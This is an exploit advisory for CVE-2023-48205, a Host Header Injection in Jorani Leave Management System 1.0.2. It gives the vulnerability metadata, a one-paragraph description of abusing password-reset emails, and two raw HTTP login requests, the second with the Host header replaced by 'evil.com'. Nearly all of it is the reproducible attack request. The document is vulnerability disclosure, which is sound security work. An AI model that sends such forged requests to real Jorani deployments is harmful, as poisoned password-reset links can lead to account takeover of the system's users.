Jorani Leave Management System 1.0.2 Host Header Injection

`# Exploit Title: Jorani Leave Management System v1.0.2 Host Header Attack  
# Date: 12/11/2023  
# Exploit Author: BugsBD Security Researcher (Rahad Chowdhury)  
# Vendor Homepage: https://jorani.org/  
# Software Link:  
https://github.com/bbalet/jorani/releases/download/v1.0.2/jorani-1.0.2.zip  
# Version: v1.0.2  
# Tested on: Windows 10, PHP version: 8.2.4, Apache/2.4.56  
# CVE: CVE-2023-48205  
  
Descriptions:  
A Host Header Injection vulnerability in Jorani Leave Management System  
1.0.2 may allow an attacker to spoof a particular header. This can be  
exploited by abusing password reset emails.  
  
  
Steps to Reproduce:  
  
1. Request:  
  
GET /jorani/session/login HTTP/1.1  
Host: 192.168.1.74  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like  
Gecko) Chrome/119.0.0.0 Safari/537.36  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8  
Sec-GPC: 1  
Accept-Language: en-US,en  
Accept-Encoding: gzip, deflate, br  
Cookie: csrf_cookie_jorani=6ebb2e7eeb6867e2a83f96118ca6ecb3;  
jorani_session=pqop598dtj85okrjvh043es6pqp1juag  
Connection: close  
  
2. Now change host name and check browser response. So your request data  
will be:  
  
GET /jorani/session/login HTTP/1.1  
Host: evil.com  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like  
Gecko) Chrome/119.0.0.0 Safari/537.36  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8  
Sec-GPC: 1  
Accept-Language: en-US,en  
Accept-Encoding: gzip, deflate, br  
Cookie: csrf_cookie_jorani=6ebb2e7eeb6867e2a83f96118ca6ecb3;  
jorani_session=pqop598dtj85okrjvh043es6pqp1juag  
Connection: close  
  
## Reproduce:  
[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-48205)  
`